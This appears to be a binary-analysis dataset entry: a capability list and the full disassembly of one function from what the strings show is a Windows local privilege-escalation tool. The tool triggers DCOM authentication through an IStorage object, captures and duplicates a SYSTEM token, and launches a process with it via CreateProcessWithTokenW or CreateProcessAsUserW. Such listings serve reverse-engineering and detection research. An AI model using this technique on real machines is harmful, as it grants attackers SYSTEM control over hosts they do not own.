Function at 0x140002788
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Create thread
Impersonate user
Terminate process

Disassembly:
push rbp
push rdi
push r14
lea rbp, [rsp - 0x2150]
mov eax, 0x2250
call fcn.140035670
sub rsp, rax
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov qword [rsp + 0x2278], rbx
mov qword [rsp + 0x2280], rsi
mov rax, qword [0x14004e008]
xor rax, rsp
mov qword [rbp + 0x2140], rax
mov rdi, rcx
mov ecx, 0x30
call fcn.14000505c
mov qword [rbp - 0x80], rax
mov rcx, rax
call fcn.1400015e4
mov rbx, rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
xor esi, esi
mov dword [rsp + 0x20], esi
mov r9, rbx
lea r8, [0x140001724]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [0x140051b30]
test rdi, rdi
cmovne rdx, rdi
mov qword [0x140051b30], rdx
mov r8, qword [0x140051b28]
lea rcx, str.___Testing__S__S_n
call fcn.140001550
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
mov r9, rbx
lea r8, [0x14000171c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], rsi
lea r8, [rsp + 0x78]
lea r14d, [rsi + 1]
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateILockBytesOnHGlobal]
lea r9, [rsp + 0x68]
xor r8d, r8d
mov edx, 0x1012
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ole32.dll_StgCreateDocfileOnILockBytes]
lea ecx, [rsi + 0x20]
call fcn.14000505c
mov qword [rbp - 0x80], rax
mov rcx, qword [rsp + 0x68]
lea rdx, vtable.IStorageTrigger.1.0
mov qword [rax], rdx
lea rdi, [rax + 8]
lea rdx, vtable.IStorageTrigger.0
mov qword [rdi], rdx
mov qword [rax + 0x10], rcx
mov dword [rax + 0x18], r14d
lea rdx, [rbp + 0x20]
mov rcx, qword [0x140051b30]
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rdx, [rbp + 0x30]
lea rcx, str.00000000_0000_0000_C000_000000000046
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rax, [rbp + 0x30]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rsi
mov dword [rbp - 0x68], esi
lea rax, [rbp - 0x78]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rdi
lea r9d, [rsi + 4]
xor r8d, r8d
lea rdx, [rbp + 0x20]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov ecx, r14d
call fcn.140025c74
mov rcx, rax
call fcn.140027bd4
mov rax, qword [rbx + 0x10]
mov edx, dword [rax + 8]
cmp edx, 0xffffffff
je 0x140002932
lea rcx, str._n___Auth_result__d_n
call fcn.140001550
mov ecx, r14d
call fcn.140025c74
mov rcx, rax
call fcn.140027bd4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x20]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002de7
lea rdx, [0x1400443e0]
mov rcx, qword [rbp + 0x20]
call fcn.14000234c
lea rdx, [0x140044410]
mov rcx, qword [rbp + 0x20]
call fcn.14000234c
mov dword [rsp + 0x64], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x30]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rbx + 0x10]
lea rdx, [0x140051b08]
mov rcx, qword [rcx]
call qword [sym.imp.Secur32.dll_QuerySecurityContextToken]
mov rbx, qword [0x140051b08]
mov dword [rsp + 0x60], esi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r14d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x140002abc
mov ecx, eax
call fcn.140025b4c
mov rdi, rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x60]
mov r8, rdi
mov edx, r14d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rdi]
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov dword [rsp + 0x60], eax
mov ecx, eax
call fcn.140025b4c
mov rbx, rax
mov r8, qword [rdi]
mov rdx, rax
mov ecx, dword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_CopySid]
mov eax, 0x3f
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x68]
lea r8, [rbp + 0x40]
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
mov rcx, rbx
call fcn.140025b38
lea r9, [rbp + 0x40]
lea r8, [rbp + 0xc0]
mov rdx, qword [0x140051b30]
lea rcx, str.___CLSID:_S__Privilege:_S_S_n
call fcn.140001550
lea rdx, str.SYSTEM
lea rcx, [rbp + 0x40]
call fcn.140027750
lea rax, [rsp + 0x64]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp - 0x80]
lea edx, [r9 + 4]
mov rcx, qword [0x140051b08]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rsp + 0x64], esi
jne 0x140002afb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140044450]
call fcn.140001550
lea rax, [0x140051b00]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [0x140051b08]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
lea rax, [rsp + 0x64]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp - 0x80]
lea edx, [r9 + 4]
mov rcx, qword [0x140051b00]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rsp + 0x64], esi
jne 0x140002b66
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_getting_token_type:_error_code_0x_lx_n
call fcn.140001550
lea rdi, [rbp - 0x50]
xor eax, eax
lea ebx, [rax + 0x68]
mov ecx, ebx
rep stosb byte [rdi], al
lea rdi, [rbp - 0x78]
lea ecx, [rax + 0x18]
rep stosb byte [rdi], al
xor edx, edx
mov r8d, 0x2000
lea rcx, [rbp + 0x140]
call fcn.1400232b0
mov edi, 0x1000
mov r8d, edi
lea rdx, [rbp + 0x140]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov dword [rbp - 0x50], ebx
lea rax, str.WinSta0Default
mov qword [rbp - 0x40], rax
mov ecx, r14d
call fcn.140025c74
mov rcx, rax
call fcn.140027bd4
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [0x140051b10], rax
call fcn.14002770c
cmp eax, edi
mov ebx, eax
jb 0x140002be3
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov edx, 8
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
mov r8d, 0xa
mov rdx, rax
mov ecx, ebx
call fcn.140028524
lea rdx, str.__s
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, rdi
lea rcx, [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x140]
lea rcx, str.___Launching_server__S_n
call fcn.140001550
or edx, 0xffffffff
mov rcx, qword [0x140051b10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, ebx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
lea r8, [0x1400025b8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x140002c96
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_CreateThread:_error_code_0x_lx_n
call fcn.140001550
lea rcx, str.SeImpersonatePrivilege
call fcn.1400023e8
test eax, eax
je 0x140002d0f
lea rcx, str.___SeImpersonate_enabled_
call fcn.14002861c
lea rax, [rbp - 0x78]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x140]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x140051b00]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov edi, eax
test eax, eax
je 0x140002cfd
lea rcx, str.___CreateProcessWithTokenW_OK_n
jmp 0x140002d7f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateProcessWithTokenW_Failed_:__d_n
jmp 0x140002dc7
lea rcx, str.SeAssignPrimaryTokenPrivilege
call fcn.1400023e8
test eax, eax
je 0x140002dd2
lea rcx, str.___SeAssignPrimaryToken_enabled_
call fcn.14002861c
lea rax, [rbp - 0x78]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x140]
xor edx, edx
mov rcx, qword [0x140051b00]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov edi, eax
test eax, eax
je 0x140002dba
lea rcx, str.___CreateProcessAsUser_OK_n
call fcn.140001550
mov rcx, qword [0x140051b10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, str.___Waiting_command_server...
call fcn.14002861c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
or edx, 0xffffffff
mov rcx, qword [0x140051b10]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140002dce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateProcessAsUser_Failed_:__d_n
mov edx, eax
call fcn.140001550
mov eax, edi
jmp 0x140002de9
lea rcx, str.____SeAssignPrimaryToken_and_SeImpersonate_are_disabled_
call fcn.14002861c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov rcx, qword [rbp + 0x2140]
xor rcx, rsp
call fcn.140004e90
lea r11, [rsp + 0x2250]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret